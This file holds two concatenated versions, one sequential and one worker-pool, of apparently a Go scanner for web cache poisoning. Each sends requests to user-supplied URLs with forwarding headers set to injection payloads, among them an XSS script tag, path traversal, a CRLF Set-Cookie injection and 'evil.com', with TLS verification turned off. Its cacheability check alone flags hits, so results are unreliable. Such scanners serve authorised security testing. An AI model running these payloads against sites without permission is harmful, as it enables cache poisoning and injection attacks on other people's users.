package main
import (
"bufio"
"crypto/tls"
"fmt"
"net/http"
"net/url"
"os"
"strings"
"time"
)
func main() {
cacheHeaders := []string{
"X-Forwarded-Host",
"X-Forwarded-Proto",
"X-Original-URL",
"X-Forwarded-For",
"X-Forwarded-Scheme",
"Forwarded",
"X-Host",
"X-Originating-IP",
"X-Original-Host",
"X-Rewrite-URL",
"Surrogate-Control",
"Pragma",
"Expires",
"User-Agent",
"Accept-Encoding",
"Accept-Language",
"Cookie",
"Authorization",
}
payloads := []string{
"<script>alert(1)</script>",
"../",
"%0d%0aSet-Cookie: poisoned=1",
"CachePoisonTest",
"evil.com",
}
scanner := bufio.NewScanner(os.Stdin)
fmt.Println("Enter target URLs (one per line):")
for scanner.Scan() {
rawURL := scanner.Text()
testURL, err := url.Parse(rawURL)
if err != nil {
fmt.Printf("Invalid URL: %s\n", rawURL)
continue
}
for _, header := range cacheHeaders {
for _, payload := range payloads {
testHeader(testURL, header, payload)
}
}
}
}
func testHeader(testURL *url.URL, header, payload string) {
client := &http.Client{
Timeout: 10 * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
req, err := http.NewRequest("GET", testURL.String(), nil)
if err != nil {
fmt.Printf("Failed to create request: %v\n", err)
return
}
req.Header.Set(header, payload)
resp, err := client.Do(req)
if err != nil {
fmt.Printf("Request failed: %v\n", err)
return
}
defer resp.Body.Close()
cacheControl := resp.Header.Get("Cache-Control")
if strings.Contains(strings.ToLower(cacheControl), "public") || strings.Contains(strings.ToLower(cacheControl), "max-age") {
fmt.Printf("[!] Possible Cache Poisoning: %s with %s = %s\n", testURL.String(), header, payload)
}
// Optional: Check response body for payload reflection
// Uncomment if needed
// body, _ := ioutil.ReadAll(resp.Body)
// if strings.Contains(string(body), payload) {
// fmt.Printf("[!] Reflection detected: %s with %s = %s\n", testURL.String(), header, payload)
// }
}
package main
import (
"bufio"
"crypto/tls"
"fmt"
"net/http"
"net/url"
"os"
"strings"
"sync"
"time"
)
func main() {
// Header and payloads configuration
cacheHeaders := []string{
"X-Forwarded-Host",
"X-Forwarded-Proto",
"X-Original-URL",
"X-Forwarded-For",
"X-Forwarded-Scheme",
"Forwarded",
"X-Host",
"X-Originating-IP",
"X-Original-Host",
"X-Rewrite-URL",
"Surrogate-Control",
"Pragma",
"Expires",
"User-Agent",
"Accept-Encoding",
"Accept-Language",
"Cookie",
"Authorization",
}
payloads := []string{
"<script>alert(1)</script>",
"../",
"%0d%0aSet-Cookie: poisoned=1",
"CachePoisonTest",
"evil.com",
}
// Read URLs from stdin
var urls []string
scanner := bufio.NewScanner(os.Stdin)
for scanner.Scan() {
url := strings.TrimSpace(scanner.Text())
if url != "" {
urls = append(urls, url)
}
}
if err := scanner.Err(); err != nil {
fmt.Printf("Error reading input: %v\n", err)
return
}
// Use a WaitGroup for synchronization
var wg sync.WaitGroup
// Channel for worker pool
jobs := make(chan string)
// Start workers
numWorkers := 10 // Adjust this based on your system capabilities
for i := 0; i < numWorkers; i++ {
wg.Add(1)
go worker(jobs, &wg, cacheHeaders, payloads)
}
// Send jobs to the workers
for _, u := range urls {
jobs <- u
}
close(jobs)
// Wait for all workers to finish
wg.Wait()
fmt.Println("Testing completed.")
}
func worker(jobs <-chan string, wg *sync.WaitGroup, cacheHeaders, payloads []string) {
defer wg.Done()
client := &http.Client{
Timeout: 5 * time.Second, // Shortened timeout
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
for rawURL := range jobs {
testURL, err := url.Parse(rawURL)
if err != nil {
fmt.Printf("Invalid URL: %s\n", rawURL)
continue
}
for _, header := range cacheHeaders {
for _, payload := range payloads {
// Perform testing for each combination of header and payload
testHeader(client, testURL, header, payload)
}
}
}
}
func testHeader(client *http.Client, testURL *url.URL, header, payload string) {
req, err := http.NewRequest("GET", testURL.String(), nil)
if err != nil {
fmt.Printf("Failed to create request: %v\n", err)
return
}
// Inject payload into the header
req.Header.Set(header, payload)
resp, err := client.Do(req)
if err != nil {
fmt.Printf("Request failed: %v\n", err)
return
}
defer resp.Body.Close()
// Check if the response is cacheable
cacheControl := resp.Header.Get("Cache-Control")
if strings.Contains(strings.ToLower(cacheControl), "public") || strings.Contains(strings.ToLower(cacheControl), "max-age") {
fmt.Printf("[!] Possible Cache Poisoning: %s with %s = %s\n", testURL.String(), header, payload)
}
}